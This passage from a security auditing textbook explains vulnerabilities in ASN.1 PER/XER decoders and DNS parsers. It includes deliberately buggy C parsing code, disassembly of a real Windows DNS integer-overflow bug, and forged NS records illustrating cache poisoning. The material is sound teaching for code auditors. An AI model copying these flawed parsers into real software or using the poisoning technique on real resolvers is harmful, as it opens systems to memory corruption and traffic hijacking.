7619534A shr eax, 3 ; div by 8 to get size in bytes 

7619534D push eax 

7619534E push dword ptr [esi+4] 

76195351 push dword ptr [ebp-4] 

76195354 call DecMemReAlloc ; allocates a zero-byte block 

 

In this code, the 32-bit length taken from the ASN.1 header (stored in eax in this code) 

is added to the amount of accumulated (already read) bytes plus 7. The data is a bit 

string, so you need to add 7 and then divide by 8 to find the number of bytes required 

(because lengths are specified in bits for a bit string). Triggering an integer overflow 

causes DecMemReAlloc() to allocate a 0-byte block, which isn't adequate to hold the 

amount of data subsequently copied into it. 

Signed issues are also likely in ASN.1 length interpreting. OpenSSL used to contain a 

number of vulnerabilities of this type, as discussed in Chapter 6(? [????.]) in the 

section on signed integer vulnerabilities. 

Packed Encoding Rules (PER) 

Packed Encoding Rules (PER) is quite different from the BER encoding scheme 

you've already seen. It's designed as a more compact alternative to BER. PER can 

represent data objects by using bit fields rather than bytes as the basic data unit. PER 

can be used only to encode values of a single ASN.1 type. ASN.1 objects encoded with 

PER consist of three fields described in the following sections: preamble, length, and 

contents. 

Preamble 

http://www.eeye.com/html/research/advisories/AD20040210-2.html
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A preamble is a bit map used when dealing with sequence, set, and set-of data types. 

It indicates which optional fields of a complex structure are present. 

Length 

The length encoding for data elements in PER is a little more complex than in BER 

because you're dealing with bit fields, and a few more rules are involved in PER's 

length-decoding specification. The length field can represent a size in bytes, bits, or a 

count of data elements, depending on the type of data being encoded. 

There are two types of encoding: aligned variants (those aligned on octet boundaries) 

and unaligned variants (those not necessarily aligned on octet boundaries). Lengths 

for data fields can also be constrained (by enforcing a maximum and minimum 

length), semiconstrained (enforcing only a maximum or minimum length), or 

unconstrained (allowing any length of data to be specified). An important note: The 

program decoding a PER bit stream must already know the structure of an incoming 

ASN.1 stream so that it knows how to decode the length. The program must know 

whether the length data represents a constrained or unconstrained length and what 

the boundaries are for constrained lengths; otherwise, it's impossible to know the 

true value the length represents. 

Unconstrained Lengths 

For an unconstrained length, the following encoding is used: 

 If the length to be encoded is less than 128, you can encode it in a single byte, 

with the top bit set to 0 and the lower 7 bits used to encode the length. 

 If the length is larger than 127 but less than 16KB, two octets are used; the 

first octet has the two most significant bits set to 1 and 0. The length is then 

encoded in the remaining 6 bits of the first octet and the entire second octet. 

 If the length is 16KB or larger, a single octet is supplied with the two most 

significant bits set to 1 and the lower 6 bits encoding a value from 1 to 4. That 

value is then multiplied by 16KB to find the real length, so a maximum of 64KB 

can be represented with this one byte. Because lengths can be larger than that 

or be a value that's not a multiple of 16KB, any remaining data can follow this 

length-value pair by using the same encoding rules. So a value of 64KB + 2 

would be split up into two length-value fields, one with a length of 64KB 

followed by 64KB of data and the next field with a length of 2 followed by 2 

bytes of data. 

Constrained and Semiconstrained Lengths 

A constrained length is encoded as a bit field; its size varies depending on the range 

of lengths that can be supplied. There are several different ways to encode 

constrained lengths, depending on the range. The length is encoded as "length lower 
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bound," which conserves space and prevents users from being able to specify illegal 

length values for constrained numbers. In general, a constrained length is encoded by 

determining the range of values (per the ASN.1 specification for the data being 

transmitted), and then using a bit field that's the exact size required to represent that 

range. For example, say a field can be between 1,000 and 1,008 bytes. The range of 

lengths that can be supplied is 8, so the bit field would be 3 bits. 

Note 

This discussion is a slight oversimplification of how constrained lengths are encoded, 

but it's fine for the purposes of this chapter. Interested readers can refer to Clause 

10.5 of the PER specification (X.691-0207) for full details. 

 

 

Vulnerabilities in PER 

PER implementations can have a variety of integer-related issues, as in BER. The 

problems in PER are a little more restricted, however, especially for constrained 

values. Even for unconstrained lengths, you're limited to sending sequences of 64KB 

chunks, which can prevent integer overflows from occurring. Implementations that 

make extensive use of 16-bit integers are definitely at high risk, however, as they can 

be made to wrapparticularly because the length attribute might represent a count of 

elements (so an allocation would multiply the count by the size of each element). 

Errors in decoding lengths could also result in integer overflows of 16-bit integers. 

Specifically, unconstrained lengths allow you to specify large blocks of data in 64KB 

chunks, and each chunk has a size determined by getting the bottom 6 bits of the 

octet and multiplying it by 16KB. You're supposed to encode only a value of 1 to 4, but 

the implementation might not enforce this rule, as in the following example: 

#define LENGTH_16K (1024 * 16) 

 

unsigned short decode_length(PER_BUFFER *buffer) 

{ 

    if(GetBits(buffer,1) == 0) 

        return GetBits(buffer, 7); 

    if(GetBits(buffer,1) == 0) 

        return GetBits(buffer, 14); 

    return GetBits(buffer, 6) * LENGTH_16K; 

} 

 

unsigned char *decode_octetstring(PER_BUFFER *buffer) 

{ 

    unsigned char *bytes; 

    unsigned long length; 
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    length = decode_length(buffer); 

 

    bytes = (unsigned char *)calloc(length+1, 

                                    sizeof(unsigned char)); 

 

    if(!bytes) 

        return NULL; 

 

    decode_bytes(bytes, buffer, length); 

 

    return bytes; 

} 

 

In this example, no verification is done to ensure that the low 6 bits of a large object 

encode only a value between 1 and 4 (inclusive). By specifying a larger value, the 

multiplication of 16KB causes truncation of the high 16 bits of the result (because 

decode_length() returns a 16-bit integer). 

Another thing to be wary of is checking return values incorrectly. Take a look at the 

previous example modified slightly: 

#define LENGTH_16K (1024 * 16) 

 

int decode_length(PER_BUFFER *buffer) 

{ 

    if(bytes_left(buffer) <= 0) 

        return -1; 

    if(GetBits(buffer,1) == 0) 

            return GetBits(buffer, 7); 

    if(GetBits(buffer,1) == 0){ 

        if(bytes_left(buffer) < 2) 

            return -1; 

            return GetBits(buffer, 14); 

    } 

    return GetBits(buffer, 6) * LENGTH_16K; 

} 

 

unsigned char *decode_octetstring(PER_BUFFER *buffer) 

{ 

    unsigned char *bytes; 

    unsigned long length; 

 

    length = decode_length(buffer); 
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    bytes = (unsigned char *)calloc(length+1, 

                                    sizeof(unsigned char)); 

 

    if(!bytes) 

        return NULL; 

 

    decode_bytes(bytes, buffer, length); 

 

    return bytes; 

} 

 

In this example, you can't trigger a 16-bit integer wrap because decode_length() 

returns an integer; however, the function now returns -1 on error, which isn't checked 

for. In fact, if an error is returned, the -1 is passed as a length to calloc(). It's then 

added to 1, resulting in 0 bytes allocated, followed by a large copy in decode_bytes(). 

XML Encoding Rules 

XML Encoding Rules (XER) provides a standard for encoding ASN.1 in XML 

documents. XML is complex markup language, and basic XML rules aren't covered in 

this section. XER is quite different from the other encoding formats; it's a textual 

representation of ASN.1 objects, as opposed to the other encoding formats, which are 

binary. Therefore, the problems you run into with XER are likely to be far different. 

Note 

Should you be confronted with the task of auditing an XER implementation, you'll 

probably need to analyze the XML implementation to ensure that the code is secure. 

After all, if the XML parser is broken, it doesn't matter what XER bugs you might fix 

because the underlying XML parser can be attacked directly. 

 

An XER-encoded object consists of two parts: an XML prolog and an XML document 

element that describes a single ASN.1 object. The XML document element contains 

the actual ASN.1 object data. It's simply encoded by using standard document 

element conventions in XML. The XML prolog doesn't have to be used. If it is, it's a 

standard XML header tag, which might look like this: 

<?xml version = "1.0" encoding="UTF-8"> 

 

 

XER Vulnerabilities 
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The most likely vulnerabilities in XER are obviously text-based errorssimple buffer 

overflows or pointer arithmetic bugs. When auditing XER implementations, 

remember that programs that exchange data by using XER are often exposing a huge 

codebase to untrusted data. This applies not just to XER but to the XML 

implementation and encoding schemes for transmitting and storing XML data. In 

particular, check the UTF encoding schemes for encoding Unicode codepoints, which 

are discussed in depth in Chapter 8(? [????.]). 

8.3.6 Domain Name System 

The Domain Name System (DNS) is a hierarchical distributed database that 

implements a global naming scheme for resources available on the Internet. It 

provides the infrastructure for mapping domain names to IP addresses as well as key 

data used to interpret email addresses. When people access resources on the Internet, 

they typically do so by using names such as www.google.com and 

abuse@comcast.net. Their computers use DNS to translate these names into the IP 

addresses suitable for use with Internet protocols. Obviously, text names are far 

easier for people to work with than numbers. There's a reason you don't hear people 

say "Man, 66.35.250.151 has really gone downhill lately." 

Domain Names and Resource Records 

The DNS database is organized as a tree data structure, with a single root node at the 

top (see Figure 16-15 for a very simple example of such a tree). For the sake of clarity, 

this diagram omits some domains that would be necessary to make the database 

functional. Every node (and leaf) in the tree is called a domain, and a domain's child 

nodes are called its subdomains. Each domain has a label, which is a short text 

name such as com, mail, www, or food. A domain name is a series of labels, 

separated by dots, that uniquely identifies a node in the tree by tracing the full path 

from the specified domain to the root domain. For example, the domain name 

www.google.com specifies a domain labeled www that's a subdomain of google.com. 

The google.com domain is a subdomain of the com domain, and com is a subdomain 

of the root domain. The root domain has an empty label, which is usually omitted in 

casual discussion. In configuration files and technical discussions, however, it's 

usually represented by a trailing dotwww.google.com., for example. 

Figure 16-15. DNS tree data structure 

[View full size image] 

http://www.google.com/
mailto:abuse@comcast.net
http://www.google.com/
http://www.google.com/
images/16ssa15_alt.jpg
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Each domain owns a set of zero or more resource records, which describe attributes 

of that domain. In general, you work with DNS by asking about a domain name. The 

response you get is a set of resource records owned by that domain name. Every 

resource record has five elements, described in Table 16-2. 

Table 16-2. Resource Record Elements 

Name Description Format 

Owner The domain that owns this resource record. Domain 

name 

Type A code that identifies which type of resource record it is. 16-bit 

integer 

Class A code that identifies the protocol system this resource record 

belongs to. It's usually IN, for "Internet." 

16-bit 

integer 

TTL The time to live for this record, specified in seconds. It's how long 

this resource record should be cached before it's purged. 

32-bit 

integer 

RDATA The actual contents of the resource record. The way this content 

is encoded depends on the type and class of the resource record. 

Set of 

bytes 

 

 

Name Servers and Resolvers 

Before you can understand how resource records are used in practice, you need a 

brief review of name servers and resolvers. The DNS database is distributed among 

thousands of systems around the world, which are called name servers. The 

responsibility for maintaining this vast database is divided among the thousands of 

administrators of these systems; each administrator is responsible for a small piece of 

the global namespace. To facilitate this division of labor, the domain namespace is 

split up into sections called zones. 
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The code responsible for querying DNS on behalf of user applications is called 

resolver code. It takes a request from a user, tough function such as 

gethostbyname(), and begins asking name servers it knows about to try to hunt down 

an authoritative resource record with the answer. 

There are two basic kinds of name servers: recursive and nonrecursive. 

Nonrecursive name servers are the most straightforward. They answer questions 

only about the zones they are responsible for. They have all this information in 

memory, so they don't need to query the DNS infrastructure for further information. 

(Note that they also have some delegation and glue information memorized, which 

you learn about through the rest of this chapter). Nonrecursive name servers give 

you an authoritative answer or tell you to go ask someone else. 

Recursive name servers are a different animal. If they don't know the answer to a 

query offhand, they take it upon themselves to go find the answer. If they are 

successful, they consolidate all the intermediate findings into a nice concise answer 

for the client. 

There are also two kinds of resolvers. A fully functional resolver can interrogate 

DNS to hunt down answers to user questions. It knows what to do when a 

nonrecursive name server doesn't have the answer. A stub resolver, on the other 

hand, is quite comfortable letting a recursive name server do all the work. It just 

needs the IP address of a local friendly recursive name server, and it relies on that 

server to handle interrogating the world's name servers. 

The process of querying DNS for a piece of information often involves making multiple 

queries to different name servers. To speed up this process, both name servers and 

resolvers can implement a domain name cache, which stores results of queries 

locally for limited time frames. In fact, quite a bit of the information stored in DNS is 

instructions on how caches should manage information. 

Zones 

When you take responsibility for a zone, you're expected to set up two or more 

authoritative name servers. These servers are the ultimate authority for your zone, 

and DNS servers and resolvers ask your servers when they need resource records 

from your zone. When a name server or resolver receives a resource record 

originating from an authoritative name server, it usually caches the resource record 

for a predetermined length of time. Over time, your zone information gets distributed 

and cached across the global DNS infrastructure. You control the details of how your 

zone's information should be cached and refreshed. 

Zones are created by delegating subdomains. For every zone, there's a single domain 

that's the closest to the root node, which is the top node of the zone. Figure 16-16 

shows an example of a namespace with zone partitions overlaid in gray. (Again, this 
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simplified view omits some necessary details.) Look at the zone with a top node of 

neohapsis.com. At some point, the administrator of the com. zone delegated control 

of the neohapsis.com. subdomain to the neohapsis administrator. This means 

requests for any subdomain of neohapsis.com. are under the authoritative purview of 

the neohapsis.com. zone. You can see that the neohapsis administrator delegated 

lab.neohapsis.com. to another zone, which might be managed by the lab 

administrator. 

Figure 16-16. Example DNS tree with zones 

[View full size image] 

 

 

 

Resource Record Conventions 

There are several different types of resource records, distinguished by their type 

codes. The most important types, and the general format of their associated RDATA 

elements, are listed in Table 16-3. 

Table 16-3. Resource Record Types 

Type Description RDATA Format (IN Class) 

A A host address 32-bit IP address 

NS An authoritative name 

server 

Domain name 

SOA The start of authority 

record, which contains 

information about the zone 

Multiple parameters, including an 

administrator, an e-mail address, a serial 

number, and parameters to control caching 

and synchronization 

MX A mail exchanger for the 

domain 

Numeric preference value followed by a 

domain name 

http://neohapsis.com/
http://neohapsis.com/
http://neohapsis.com/
http://neohapsis.com/
http://lab.neohapsis.com/
images/16ssa16_alt.jpg
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Table 16-3. Resource Record Types 

Type Description RDATA Format (IN Class) 

CNAME The canonical name of the 

domain 

Domain name 

PTR A pointer to another domain Domain name 

 

The top node of any zone is a special node containing meta-information about that 

zone. It has two key sets of information: the SOA resource record for the zone and 

authoritative NS resource records for the zone. The SOA record contains information 

about caching parameters used by all the zone's resource records. The NS records 

authoritatively state the name servers in charge of the zone. 

The A resource records are used liberally to assign IP addresses to domain names and 

can appear in any domain in the zone. CNAME records are used for aliases. If the 

domain name sol.lab.neohapsis.com is an alias to jm.lab.neohapsis.com, there's a 

CNAME resource record owned by sol.lab.neohapsis.com. That resource record 

contains sol's canonical (ultimate) name, which is jm.lab.neohapsis.com. 

An authoritative name server typically knows all the information necessary to 

delegate requests to children zones. It conveys this information to other systems, 

even though it isn't technically authoritative for that information. For example, the 

name server responsible for the neohapsis.com. zone has NS records for 

lab.neohapsis.com. They should be identical to the authoritative NS records that the 

lab.neohapsis.com name server has for its top domain. 

The NS record points to a domain name, such as sol.lab.neohapsis.com., and the 

neohapsis.com. zone's server needs to provide a glue resource record that tells a 

client the IP address for the NS record. So the neohapsis.com. zone's server sends 

these additional resource records: 

lab.neohapsis.com.       NS    sol.lab.neohapsis.com. 

sol.lab.neohapsis.com.   A     7.6.5.23 

 

 

Basic Use Case 

Most operating systems have a simple stub resolver that relies on an external 

recursive name server. The resolver library translates user requests into a DNS query 

packet that's sent to the preconfigured local recursive name server. This friendly 

name server attempts to answer the question by referring to its authoritative data 

and cache and by querying other name servers for information. This process usually 

takes a series of requests. Figure 16-17 shows how a typical DNS request is handled. 

http://sol.lab.neohapsis.com/
http://jm.lab.neohapsis.com/
http://sol.lab.neohapsis.com/
http://jm.lab.neohapsis.com/
http://neohapsis.com/
http://lab.neohapsis.com/
http://lab.neohapsis.com/
http://sol.lab.neohapsis.com/
http://neohapsis.com/
http://neohapsis.com/
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Figure 16-17. DNS request traffic 

[View full size image] 

 

 

The resolver creates an A query for the domain name www.google.com. and sends 

the query to its local recursive name server. First, the name server looks at its zones 

for anything in the domain name that it can answer for authoritatively, but it can't 

help with this query. 

Then it looks in its cache for any useful information; for the sake of discussion, 

assume it comes up empty. The name server is preloaded with a list of root name 

servers, and it starts sending iterative queries to them. It asks several root name 

servers for the A record for www.google.com and eventually gets a response. 

The response doesn't have the answer, however. Instead, it has multiple authority NS 

resource records that give the domain names for all com. name servers. The response 

also contains additional A resource records that give the numeric IP addresses for 

each specified name server. 

images/16ssa17_alt.jpg
http://www.google.com/
http://www.google.com/
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The name server asks a com. name server for the A record for www.google.com. The 

response still doesn't have an answer, but this time, the authority section has four NS 

records for google.com. The additional section has four corresponding A records for 

the numeric IP addresses of these name servers. 

Next, the name server asks a google.com. name server for the A record for 

www.google.com. In the real world, you learn that www.google.com. is an alias 

because you get an authoritative answer telling you that it's a CNAME for 

www.l.google.com. However, for this use case, pretend it returns an A record instead. 

The name server finally gets its A record for www.google.com., and the IP address is 

1.2.3.4. 

The name server then constructs an answer for the resolver code and sends it as a 

response to the initial recursive query. The resolver code extracts the IP address from 

the A record and hands it to the user application. 

DNS Protocol Structure Primer 

DNS is a binary protocol, so you know that integer issues are going to be involved. A 

DNS packet is essentially composed of a header followed by four variable-length fields: 

a questions section, an answer section, an authority section, and an additional section. 

This basic packet layout is shown in Figure 16-18. 

Figure 16-18. DNS packet structure 

http://www.google.com/
http://www.google.com/
http://www.google.com/
http://www.l.google.com/
http://www.google.com/
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The header provides information about how the packet should be interpreted. Figure 

16-19 shows how it's structured. 

Figure 16-19. DNS header structure 
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The DNS header contains a number of status bit fields and a series of record counts, 

indicating the number of resource records in the packet. These fields are described in 

the following list: 

 Identification (16 bits) This field is used to uniquely identify a query. 

Responses to a query must have the same ID or they are ignored. 

 QR (1 bit) This field indicates whether this packet contains a query (0) or 

response (1). 

 Opcode (4 bits) This field indicates what type of query is in the message. It's 

usually 0, meaning a standard query. 

 AA (1 bit) This field indicates whether the packet contains an authoritative 

answer. 

 TC (1 bit) This field indicates whether the answer is truncated because of size 

constraints. 

 RD (1 bit) This fieldrecursion desiredsets a query to indicate that the name 

server should recursively handle the query if possible. 

 RA (1 bit) This field is set by a name server to indicate whether recursion is 

available. 

 Rcode (4 bits) This field is used to indicate an error code (return code). 

 Questions count (16 bits) This field specifies the number of questions in the 

questions section; usually one. 

 Answer count (16 bits) This field specifies the total number of resource records 

in the answer section. 

 Authority count (16 bits) This field specifies the total number of NS resource 

records in the authority section. 

 Additional count (16 bits) This field specifies the total number of resource 

records returned in the additional section. 

The questions section contains a series of question records, and the other sections 

contain resource records (RRs). The format of a question is shown in Figure 16-20. 

Figure 16-20. DNS question structure 

 

 

The fields for a question entry in a query are as follows: 
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 Query name (variable) The domain name that's the subject of the query 

 Type (16 bits) A code indicating the type of resource records the client wants 

to retrieve 

 Class (16 bits) The class of resource record (almost always IN) 

The format of a resource record structure is shown in Figure 16-21. The following list 

describes the fields for an RR: 

 Owner name (variable) The domain name to which this resource record 

belongs 

 Type (16 bits) The type of resource record 

 Class (16 bits) The class of resource record (almost always IN) 

 Time to live (32 bits) The time in seconds this RR can be cached before it 

should be discarded 

 RDATA length (unsigned 16-bit int) Length of the following RDATA field in 

bytes 

 RDATA (variable) Variable data in a format that depends on the specified type 

Figure 16-21. DNS resource record data structure 

 

 

 

DNS Names 

Names are communicated in many places in DNS packets. These domain names 

aren't transmitted in a pure text format. Instead, they are transmitted as a series of 

labels. Each label contains a single-byte length value followed by the data bytes that 

make up this part of the name. Going back to the previous example of 

www.google.com, the name would look like Figure 16-22 in the packet. 
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Figure 16-22. DNS names 

 

 

Each label length byte is followed by the data bytes that make up each domain label. 

The name ends at the root of the tree, which has an empty label with a length byte of 

zero. 

A simple compression scheme using pointers can be used in domain names. If the top 

two bits are set in a label length byte, the remaining bits of the byte are combined 

with the next 8 bits from the packet (the next byte). They are used as an offset inside 

the DNS packet the pointer appears in, beginning at the start of the DNS header. This 

offset points to domain name information for the rest of the domain name. Using this 

simple scheme, multiple resource records using the same owner name (or sharing a 

common suffix) can write the shared name in the packet just one time. They can then 

refer to this shared name for all other subsequent resource records that refer to the 

same name. 

Although this naming scheme is simple and can save valuable space in some places, 

it certainly complicates the DNS name-decoding scheme. Take a look at a simple 

(buggy) implementation of name parsing, and the following sections discuss potential 

problems with it. 

int parse_dns_name(char *msg, char *name, int namelen, 

                   char *dest0, int destlen) 

{ 

    int label_length, offset, bytes_read = 0; 

    char *ptr, *dest = dest0; 

 

    for(ptr = name; *ptr; ){ 

 

        label_length = *ptr++; 

 

        /* check for pointers */ 

            if((label_length & 0xC0) == 0xC0){ 

                offset = ((label_length & 0x3F) << 8) | *ptr; 

                ptr = msg + offset; 

                continue; 

            } 
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        if(bytes_read + label_length > destlen) 

            return 1; 

 

        memcpy(dest, ptr, label_length); 

 

        ptr += label_length; 

        dest += label_length; 

        bytes_read += label_length; 

 

        *dest++ = '.'; 

    } 

 

    if(dest != dest0) 

        dest--; 

 

    *dest = '\0'; 

 

    return 0; 

} 

 

This simple implementation of the specification has numerous problems, explained in 

the following sections, that demonstrate what can go wrong when parsing DNS 

names. 

Failure to Deal with Invalid Label Lengths 

The maximum size for a label is 63 bytes because setting the top 2 bits indicates that 

the byte is the first in a two-byte pointer, leaving 6 bits to represent a label length. 

That means any label in which one of the top bits is set but the other one isn't is an 

invalid length value. The preceding code doesn't adequately deal with this situation, 

resulting in larger domain labels than the specification allows. In this implementation, 

this problem carries additional consequences. Consider this line: 

label_length = *ptr++; 

 

Because ptr is signed, you know from Chapter 6(? [????.]) that this assignment 

sign-extends the value, so label_length can have a negative value. Later a size check 

is carried out: 

if(bytes_read + label_length > destlen) 

    return 1; 
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Can you see why this check isn't adequate? In this check, label_length is a negative 

value, so bytes_read + label_length can be made a negative value. Hence, this length 

check doesn't catch the problem, and subsequently a large negative memcpy() occurs. 

Insufficient Destination Length Checks 

It's easy to overlook the space required for bytes that are appended manually when 

performing length checks. In the sample code, a period (.) is appended manually 

after each label. These periods simply aren't checked for in the length check; only 

label_length bytes are accounted for. In addition, the trailing NUL byte isn't 

accounted for in much the same way. 

Insufficient Source Length Checks 

Just as pointers aren't correctly verified to be in the packet, the code has no 

verification that source bytes being read are within the packet boundaries. If no NUL 

byte exists in the name section, this code keeps processing data until it runs past the 

end of the packetagain resulting in a potential information leak or denial of service. 

Even when the code does check that source bytes are within bounds, it omits this 

check when reading the second byte of a pointer or the amount of bytes specified in 

the label length. 

Pointer Values Not Verified In Packet 

When pointers are found, the ptr variable is set to point to the new location to 

continue reading the domain name. In this sample code, the new pointer is simply set 

to msg (the beginning of the DNS message) plus the supplied offset. The code never 

verifies that this new location is actually inside the packet, so it begins reading 

random memory from the program. This error might result in an information leak or 

a denial of serviceat any rate, it's not desirable behavior! 

Special Pointer Values 

When pointer compression methods are used, you can find a few more oddities. For 

example, a malicious user might create a loop. Say a pointer is 20 bytes into a DNS 

message and points to offset 20. If the sample code shown previously processes this 

pointer, it gets stuck in an infinite loop. This loop would probably end up causing a 

denial of service by not dealing with other DNS requests (especially if several 

resolutions were taking place in parallel with corrupt DNS pointers, such as this 

example). 

Also, be aware that the code has no real verification that pointers are actually pointing 

to name data in a DNS message. They might be pointing to a TTL field, a length field, 

or a pointer byte (such as having a pointer at offset 20 that points to offset 21 in the 
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packet). Generally, this oversight doesn't cause too many security problems, but it 

might serve as part of an evasion technique to bypass IDSs. 

Length Variables 

There are no 32-bit integers to specify data lengths in the DNS protocol; everything 

is 8 or 16 bits. Therefore, this section focuses on the issues with 16-bit length fields 

discussed at the beginning of the chapter. 

The first issue is sign extensions of 16-bit values. You probably won't see this problem 

often, although when you do, it's likely a bug is present. Here's a simple example: 

struct rrecord { 

    char *name; 

    int ttl; 

    short length, type, class; 

    char *data; 

} 

 

#define ROUNDUP(x) ((x + 7) & 0xFFFFFFF8) 

 

void *mymalloc(size_t length) 

{ 

    return malloc(ROUNDUP(length)); 

} 

 

int parse_rrecord(char *data, int length, struct rrecord *rr) 

{ 

    if(length < 2 + 2 + 2 + 4) 

        return 1; 

 

    rr->name = parse_name(data, &data); 

 

    if(!rr->name) 

        return 1; 

 

    rr->type = get_short(data); 

    data += 2; 

    rr->class = get_short(data); 

    data += 2; 

    rr->ttl = get_long(data); 

    data += 4; 

    rr->length = get_short(data); 

    data += 2; 
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    length -= (4 + 2 + 2 + 2); 

 

    if(rr->length > length) 

        return 1; 

 

    rr->data = (char *)mymalloc(rr->length); 

    if(!rr->data) 

        return 1; 

 

    memcpy(rr->data, data, rr->length); 

 

    ... 

} 

 

This code shows a typical malloc() implementation that's potentially vulnerable to an 

integer overflow. Because you're dealing with a protocol containing 16-bit length 

fields, allocation functions such as malloc() normally aren't dangerous because you 

can supply only 16-bit lengths, which aren't big enough to cause an integer wrap on 

a 32-bit integer size parameter. However, in this code, the 16-bit length value is 

sign-extended, so if the top bit is set, the high 16 bits of the value passed to mymalloc() 

are also set, allowing users to specify a size big enough to cause an integer wrap. 

Note 

This code wouldn't be vulnerable if the length parameter to parse_rrecord() was 

unsigned because the comparison of rr->length against length would cause 

rr->length to be sign-extended and then converted to unsigned, which is no doubt 

larger than length. 

 

In addition to sign-extension issues, there are other complications when the program 

decides to make extensive use of 16-bit variables for sizes or holding length values. 

Specifically, if 16-bit values are used carelessly, the risk of integer overflows is 

present (in the same way programs dealing with protocols that have 32-bit lengths 

are vulnerable to integer overflows). In the context of DNS, any addition or 

multiplication on a 16-bit variable presents a potential danger if users can specify 

large 16-bit values. To understand this problem, take a look at a bug that was in 

Microsoft's DNS-parsing code. To understand the bug, you must first examine the 

allocation routine used to allocate records. The following code shows the 

Dns_AllocateRecord() function: 

.text:76F239EC ; __stdcall Dns_AllocateRecord(x) 

.text:76F239EC _Dns_AllocateRecord@4 proc near 
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.text:76F239EC 

.text:76F239EC 

.text:76F239EC arg_4           = word ptr 8 

.text:76F239EC 

.text:76F239EC                 mov    edi, edi 

.text:76F239EE                 push   ebp 

.text:76F239EF                 mov    ebp, esp 

.text:76F239F1                 push   esi 

.text:76F239F2                 mov    si, [ebp+arg_4] 

.text:76F239F6                 movzx  eax, si 

.text:76F239F9                 add    eax, 18h 

.text:76F239FC                 push   eax 

.text:76F239FD                 call   _Dns_AllocZero@4 ; 

Dns_AllocZero(x) 

.text:76F23A02                 mov    edx, eax 

.text:76F23A04                 test   edx, edx 

.text:76F23A06                 jz     loc_76F2DCB5 

.text:76F23A0C                 push   edi 

.text:76F23A0D                 push   6 

.text:76F23A0F                 pop    ecx 

.text:76F23A10                 xor    eax, eax 

.text:76F23A12                 mov    edi, edx 

.text:76F23A14                 rep stosd 

.text:76F23A16                 mov    [edx+0Ah], si 

.text:76F23A1A                 mov    eax, edx 

.text:76F23A1C                 pop    edi 

.text:76F23A1D 

.text:76F23A1D loc_76F23A1D:                         ; 

CODE XREF: 

.text:76F2DCBF 

.text:76F23A1D                 pop    esi 

.text:76F23A1E                 pop    ebp 

.text:76F23A1F                 retn   4 

.text:76F23A1F_Dns_AllocateRecord@4 endp 

 

This assembly code roughly translates to the following C code: 

/* sizeof DnsRecord structure is 24 (0x18) bytes */ 

 

struct DnsRecord { 

    unsigned short size;       /* offset 0x0A */ 

    unsigned char data[0];       /* offset 0x18 */ 

} 
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struct DnsRecord *Dns_AllocateRecord(unsigned short size) 

{ 

    struct DnsRecord *record; 

 

    record = (struct DnsRecord *)Dns_AllocZero(size + sizeof(struct 

DnsRecord)); 

 

    if(record == NULL){ 

        SetLastError(8); 

        return NULL; 

    } 

 

    memset((void *)record, 0, sizeof(struct DnsRecord)); 

 

    record->size = size; 

 

    return record; 

} 

 

You might be wondering why a SetLastError() function is in the C code but not in the 

assembly. The assembly output shows that the code tests the return value of 

Dns_AllocZero() and then jumps if it returns zero (which happens at location 

76F23A06). The code it jumps to isn't shown, but it calls SetLastError(). Interested 

readers can refer to this function in dnsapi.dll on Windows XP or dnsrslvr.dll on 

Windows 2000. 

As you can see, this allocation routine could be dangerous. It takes a 16-bit size 

parameter, so if this function can ever be called with an allocation size of more than 

65,535 bytes (the maximum representable 16-bit value), the high 16-bits are ignored, 

and a small data block not large enough to hold all the data will be allocated. It turns 

out that DNS packets are limited elsewhere in the code to a maximum of 16,384 bytes 

for TCP and 1,472 bytes for UDP, so you can't specify a big enough record to trigger 

an overflow under normal circumstances. However, take a closer look at how text 

records are processed. The following code is translated into C from the 

TxTRecordRead() function, which is used to parse records containing text fields. These 

records are composed of multiple text fields, each one consisting of a single-byte 

length field followed by text data. 

struct DnsRecord *TxtRecordRead(int to_unicode, 

 

            unsigned char *src, unsigned char *end) 

{ 

    unsigned short length; 

    int count, bytes_needed; 
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    struct DnsRecord *record; 

 

    for(count = 0, bytes_needed = 0; src < end; count++){ 

        length = *src++; 

 

        bytes_needed += ((to_unicode) ? 

                         2*length + 2 : length + 1); 

 

        src += length; 

    } 

 

    if(src != end){ 

        SetLastError(0x0D); 

        return NULL; 

    } 

 

    record = Dns_AllocateRecord( 

                ((count + 1) * sizeof(char *)) + bytes_needed); 

 

    ... copy data and pointers ... 

} 

 

For every text field in the record, four bytes are allocated (for a pointer value to point 

to the text field), and two bytes are allocated for every byte appearing in the text data. 

The reason is that the data is converted in the text field from UTF-8 encoding to 

Unicode wide characters. Also, the code adds two bytes for the trailing NUL to appear 

after the text string it copies. When you have a zero-length record, it consists of a 

single byte: the length field, which has the value 0. For every zero-length record 

encountered, six bytes are added to the allocation size passed to 

Dns_AllocateRecord(): four bytes for the pointer, and two bytes for a NUL value. Six 

bytes for every one byte appearing in the record allows reaching the 16-bit boundary 

of 65,535 bytes with a record of around 10,922 bytes, which can be supplied in a TCP 

packet. Therefore, a buffer overflow can be triggered. 

DNS Spoofing 

DNS is a protocol for retrieving information from a large-scale distributed database, 

and it's used by clients of the service and servers that maintain the entire database. 

Because the system requires a large degree of trust, what can happen if attackers 

abuse this trust to feed bad information to those who request DNS information? The 

implications of this attack can be quite severe, depending on how clients use the false 

information. In the past, hostnames were commonly used for verification of a user's 

identity. For example, the UNIX rlogin service consulted a file with combinations of 

usernames and hostnames to authenticate incoming connections, instead of the 
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username/password authentication most other services used at the time. Therefore, 

if attackers could forge DNS responses to make their IP addresses appear to be one 

of the hosts in this file, they could bypass authentication and log in to the target 

machine. These days, DNS names are rarely used to authenticate parties in such a 

direct manner; however, being able to forge DNS responses is still a serious issue. 

The most serious current risk is impersonation of a legitimate site. Malicious nodes 

can pose as legitimate destinations and collect authentication details or other 

sensitive data. For example, attackers could pose as a retailer that clients usually visit 

(such as www.amazon.com/). By posing as the legitimate site and fooling certain 

clients, the malicious users might be able to collect Amazon login credentials and 

credit card information from clients browsing the site. These attackers would have to 

pull a few tricks to make the spoofed site seem authentic, but they can usually fool 

most users. 

Cache Poisoning 

The original resolver algorithm specified in DNS RFCs was vulnerable to a poisoning 

attack that enabled attackers to provide malicious IP addresses for arbitrary domain 

names. Assume that attackers have control of the zone at badperson.com. A victim 

asks the attackers' name server for the A records of www.badperson.com. They can 

respond by delegating authority for the www subdomain to the hostname they want 

to poison. For example, they could include an authority section in the response with 

these NS resource records: 

www.badperson.com. NS ns1.google.com. 

www.badperson.com. NS ns2.google.com. 

www.badperson.com. NS ns3.google.com. 

www.badperson.com. NS ns4.google.com. 

 

Basically, the attackers are telling the victim that the subdomain 

www.badperson.com is handled by four authoritative name servers, which happen to 

be Google's name servers. The death blow comes in the additional section in the 

response, where attackers place the A resource records for the Google name servers: 

